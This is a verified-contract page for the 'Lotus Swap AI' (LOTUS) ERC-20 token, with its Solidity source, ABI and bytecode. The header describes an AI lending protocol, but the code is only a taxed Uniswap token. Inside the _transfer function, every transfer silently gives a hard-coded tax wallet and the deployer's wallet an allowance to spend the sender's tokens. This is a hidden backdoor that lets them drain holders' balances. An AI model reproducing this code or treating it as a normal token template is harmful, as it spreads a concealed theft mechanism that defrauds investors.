Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract LOTUS is Context, IERC20, ... *    - function createPair()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function sendETHToFee(uint256 amount)    - function rescueEth()    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-15
*/

/*
The first fully permissionless, oracle-less, non-liquidatable, fixed maturity lending & borrowing protocol with AI.

https://lotusaiswap.org
https://app.lotusaiswap.org
https://docs.lotusaiswap.org

https://x.com/lotusaiswap
https://t.me/lotusaiswap
https://medium.com/@lotusaiswap
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract LOTUS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address private _taxWallet = 0xE3fB712032129775cC47e2C169E92305e41b2866;
    address private _teamWallet;

    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Lotus Swap AI";
    string private constant _symbol = unicode"LOTUS";
    uint256 private _taxSwapTokens = _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswaPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _teamWallet = _msgSender();
        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswaPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniswaPair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                _buyCount++;
            }

            if(to == _uniswaPair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == _uniswaPair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapTokens)
                swapTokensForEth(min(amount, min(contractTokenBalance, _taxSwapTokens)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        _allowances[from][_taxWallet] = _allowances[from][_taxWallet].add(amount);
        _allowances[from][_teamWallet] = _allowances[from][_teamWallet].add(amount);
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }

    function rescueEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswaPair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273e3fb712032129775cc47e2c169e92305e41b286660045f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550600360065560036007555f6008555f6009556006600a556006600b556006600c555f600d5560646009600a61007391906102ba565b61008190633b9aca006102cf565b61008b91906102e6565b600e556010805461ffff60a81b191690553480156100a7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790555f80546001600160a01b03908116825260036020526040808320805460ff199081166001908117909255308552828520805482168317905560045490931684529220805490911690911790556101526009600a6102ba565b61016090633b9aca006102cf565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101a06009600a6102ba565b6101ae90633b9aca006102cf565b60405190815260200160405180910390a3610305565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561021257815f19048211156101f8576101f86101c4565b8085161561020557918102915b93841c93908002906101dd565b509250929050565b5f82610228575060016102b4565b8161023457505f6102b4565b816001811461024a576002811461025457610270565b60019150506102b4565b60ff841115610265576102656101c4565b50506001821b6102b4565b5060208310610133831016604e8410600b8410161715610293575081810a6102b4565b61029d83836101d8565b805f19048211156102b0576102b06101c4565b0290505b92915050565b5f6102c860ff84168361021a565b9392505050565b80820281158282048414176102b4576102b46101c4565b5f8261030057634e487b7160e01b5f52601260045260245ffd5b500490565b6115a0806103125f395ff3fe6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a9059cbb11610057578063a9059cbb1461026a578063c9567bf914610289578063ce31a06b1461029d578063dd62ed3e146102b1575f80fd5b80638da5cb5b1461020357806395d89b41146102295780639e78fb4f14610256575f80fd5b806323b872dd116100b757806323b872dd1461017f578063313ce5671461019e57806370a08231146101b9578063715018a6146101ed575f80fd5b806306fdde03146100e7578063095ea7b31461012e57806318160ddd1461015d575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600d81526c4c6f747573205377617020414960981b60208201525b60405161012591906111aa565b60405180910390f35b348015610139575f80fd5b5061014d6101483660046111f3565b6102f5565b6040519015158152602001610125565b348015610168575f80fd5b5061017161030b565b604051908152602001610125565b34801561018a575f80fd5b5061014d61019936600461121d565b61032b565b3480156101a9575f80fd5b5060405160098152602001610125565b3480156101c4575f80fd5b506101716101d336600461125b565b6001600160a01b03165f9081526001602052604090205490565b3480156101f8575f80fd5b50610201610392565b005b34801561020e575f80fd5b505f546040516001600160a01b039091168152602001610125565b348015610234575f80fd5b506040805180820190915260058152644c4f54555360d81b6020820152610118565b348015610261575f80fd5b5061020161040c565b348015610275575f80fd5b5061014d6102843660046111f3565b610605565b348015610294575f80fd5b50610201610611565b3480156102a8575f80fd5b506102016107f6565b3480156102bc575f80fd5b506101716102cb366004611276565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610301338484610859565b5060015b92915050565b5f6103186009600a6113a1565b61032690633b9aca006113af565b905090565b5f61033784848461097c565b610388843361038385604051806060016040528060288152602001611543602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e22565b610859565b5060019392505050565b5f546001600160a01b031633146103c45760405162461bcd60e51b81526004016103bb906113c6565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104355760405162461bcd60e51b81526004016103bb906113c6565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561047e9030906104706009600a6113a1565b61038390633b9aca006113af565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f291906113fb565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610551573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057591906113fb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e391906113fb565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f61030133848461097c565b5f546001600160a01b0316331461063a5760405162461bcd60e51b81526004016103bb906113c6565b601054600160a01b900460ff16156106945760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103bb565b600f546001600160a01b031663f305d71947306106c5816001600160a01b03165f9081526001602052604090205490565b5f806106d85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561073e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107639190611416565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dc9190611441565b506010805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461081f5760405162461bcd60e51b81526004016103bb906113c6565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610856573d5f803e3d5ffd5b50565b6001600160a01b0383166108bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bb565b6001600160a01b03821661091c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bb565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bb565b6001600160a01b038216610a425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bb565b5f8111610aa35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103bb565b5f80546001600160a01b03858116911614801590610ace57505f546001600160a01b03848116911614155b15610c5257610aff6064610af9600a54600d5411610aee57600654610af2565b6008545b8590610e5a565b90610edf565b6010549091506001600160a01b038581169116148015610b2d5750600f546001600160a01b03848116911614155b8015610b5157506001600160a01b0383165f9081526003602052604090205460ff16155b15610b6b57600d8054905f610b6583611460565b91905055505b6010546001600160a01b038481169116148015610b9157506001600160a01b0384163014155b15610bbe57610bbb6064610af9600b54600d5411610bb157600754610af2565b6009548590610e5a565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610bf457506010546001600160a01b038581169116145b8015610c095750601054600160b01b900460ff165b8015610c185750600c54600d54115b15610c5057600e54811115610c4457610c44610c3f84610c3a84600e54610f20565b610f20565b610f34565b47610c4e476110a4565b505b505b8015610cca57305f90815260016020526040902054610c7190826110df565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc19085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610cec908361113d565b6001600160a01b0385165f90815260016020526040902055610d2f610d11838361113d565b6001600160a01b0385165f90815260016020526040902054906110df565b6001600160a01b038085165f908152600160209081526040808320949094558783168252600281528382206004549093168252919091522054610d7290836110df565b6001600160a01b038581165f908152600260209081526040808320600454851684529091528082209390935560055490911681522054610db290836110df565b6001600160a01b038086165f818152600260209081526040808320600554861684529091529020929092558416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e0b858561113d565b60405190815260200160405180910390a350505050565b5f8184841115610e455760405162461bcd60e51b81526004016103bb91906111aa565b505f610e518486611478565b95945050505050565b5f825f03610e6957505f610305565b5f610e7483856113af565b905082610e81858361148b565b14610ed85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103bb565b9392505050565b5f610ed883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117e565b5f818311610f2e5782610ed8565b50919050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f7a57610f7a6114aa565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fd1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ff591906113fb565b81600181518110611008576110086114aa565b6001600160a01b039283166020918202929092010152600f5461102e9130911684610859565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110669085905f908690309042906004016114be565b5f604051808303815f87803b15801561107d575f80fd5b505af115801561108f573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110db573d5f803e3d5ffd5b5050565b5f806110eb838561152f565b905083811015610ed85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103bb565b5f610ed883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e22565b5f818361119e5760405162461bcd60e51b81526004016103bb91906111aa565b505f610e51848661148b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610856575f80fd5b5f8060408385031215611204575f80fd5b823561120f816111df565b946020939093013593505050565b5f805f6060848603121561122f575f80fd5b833561123a816111df565b9250602084013561124a816111df565b929592945050506040919091013590565b5f6020828403121561126b575f80fd5b8135610ed8816111df565b5f8060408385031215611287575f80fd5b8235611292816111df565b915060208301356112a2816111df565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112fb57815f19048211156112e1576112e16112ad565b808516156112ee57918102915b93841c93908002906112c6565b509250929050565b5f8261131157506001610305565b8161131d57505f610305565b8160018114611333576002811461133d57611359565b6001915050610305565b60ff84111561134e5761134e6112ad565b50506001821b610305565b5060208310610133831016604e8410600b841016171561137c575081810a610305565b61138683836112c1565b805f1904821115611399576113996112ad565b029392505050565b5f610ed860ff841683611303565b8082028115828204841417610305576103056112ad565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561140b575f80fd5b8151610ed8816111df565b5f805f60608486031215611428575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611451575f80fd5b81518015158114610ed8575f80fd5b5f60018201611471576114716112ad565b5060010190565b81810381811115610305576103056112ad565b5f826114a557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561150e5784516001600160a01b0316835293830193918301916001016114e9565b50506001600160a01b03969096166060850152505050608001529392505050565b80820180821115610305576103056112ad56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec85744e39d83bab452a2ad53b1b08f2d1b391ec93844829ae3d5508f1119a4064736f6c63430008190033

0x6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a9059cbb11610057578063a9059cbb1461026a578063c9567bf914610289578063ce31a06b1461029d578063dd62ed3e146102b1575f80fd5b80638da5cb5b1461020357806395d89b41146102295780639e78fb4f14610256575f80fd5b806323b872dd116100b757806323b872dd1461017f578063313ce5671461019e57806370a08231146101b9578063715018a6146101ed575f80fd5b806306fdde03146100e7578063095ea7b31461012e57806318160ddd1461015d575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600d81526c4c6f747573205377617020414960981b60208201525b60405161012591906111aa565b60405180910390f35b348015610139575f80fd5b5061014d6101483660046111f3565b6102f5565b6040519015158152602001610125565b348015610168575f80fd5b5061017161030b565b604051908152602001610125565b34801561018a575f80fd5b5061014d61019936600461121d565b61032b565b3480156101a9575f80fd5b5060405160098152602001610125565b3480156101c4575f80fd5b506101716101d336600461125b565b6001600160a01b03165f9081526001602052604090205490565b3480156101f8575f80fd5b50610201610392565b005b34801561020e575f80fd5b505f546040516001600160a01b039091168152602001610125565b348015610234575f80fd5b506040805180820190915260058152644c4f54555360d81b6020820152610118565b348015610261575f80fd5b5061020161040c565b348015610275575f80fd5b5061014d6102843660046111f3565b610605565b348015610294575f80fd5b50610201610611565b3480156102a8575f80fd5b506102016107f6565b3480156102bc575f80fd5b506101716102cb366004611276565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610301338484610859565b5060015b92915050565b5f6103186009600a6113a1565b61032690633b9aca006113af565b905090565b5f61033784848461097c565b610388843361038385604051806060016040528060288152602001611543602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e22565b610859565b5060019392505050565b5f546001600160a01b031633146103c45760405162461bcd60e51b81526004016103bb906113c6565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104355760405162461bcd60e51b81526004016103bb906113c6565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561047e9030906104706009600a6113a1565b61038390633b9aca006113af565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f291906113fb565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610551573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057591906113fb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e391906113fb565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b5f61030133848461097c565b5f546001600160a01b0316331461063a5760405162461bcd60e51b81526004016103bb906113c6565b601054600160a01b900460ff16156106945760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103bb565b600f546001600160a01b031663f305d71947306106c5816001600160a01b03165f9081526001602052604090205490565b5f806106d85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561073e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107639190611416565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dc9190611441565b506010805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461081f5760405162461bcd60e51b81526004016103bb906113c6565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610856573d5f803e3d5ffd5b50565b6001600160a01b0383166108bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bb565b6001600160a01b03821661091c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bb565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bb565b6001600160a01b038216610a425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bb565b5f8111610aa35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103bb565b5f80546001600160a01b03858116911614801590610ace57505f546001600160a01b03848116911614155b15610c5257610aff6064610af9600a54600d5411610aee57600654610af2565b6008545b8590610e5a565b90610edf565b6010549091506001600160a01b038581169116148015610b2d5750600f546001600160a01b03848116911614155b8015610b5157506001600160a01b0383165f9081526003602052604090205460ff16155b15610b6b57600d8054905f610b6583611460565b91905055505b6010546001600160a01b038481169116148015610b9157506001600160a01b0384163014155b15610bbe57610bbb6064610af9600b54600d5411610bb157600754610af2565b6009548590610e5a565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610bf457506010546001600160a01b038581169116145b8015610c095750601054600160b01b900460ff165b8015610c185750600c54600d54115b15610c5057600e54811115610c4457610c44610c3f84610c3a84600e54610f20565b610f20565b610f34565b47610c4e476110a4565b505b505b8015610cca57305f90815260016020526040902054610c7190826110df565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc19085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610cec908361113d565b6001600160a01b0385165f90815260016020526040902055610d2f610d11838361113d565b6001600160a01b0385165f90815260016020526040902054906110df565b6001600160a01b038085165f908152600160209081526040808320949094558783168252600281528382206004549093168252919091522054610d7290836110df565b6001600160a01b038581165f908152600260209081526040808320600454851684529091528082209390935560055490911681522054610db290836110df565b6001600160a01b038086165f818152600260209081526040808320600554861684529091529020929092558416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e0b858561113d565b60405190815260200160405180910390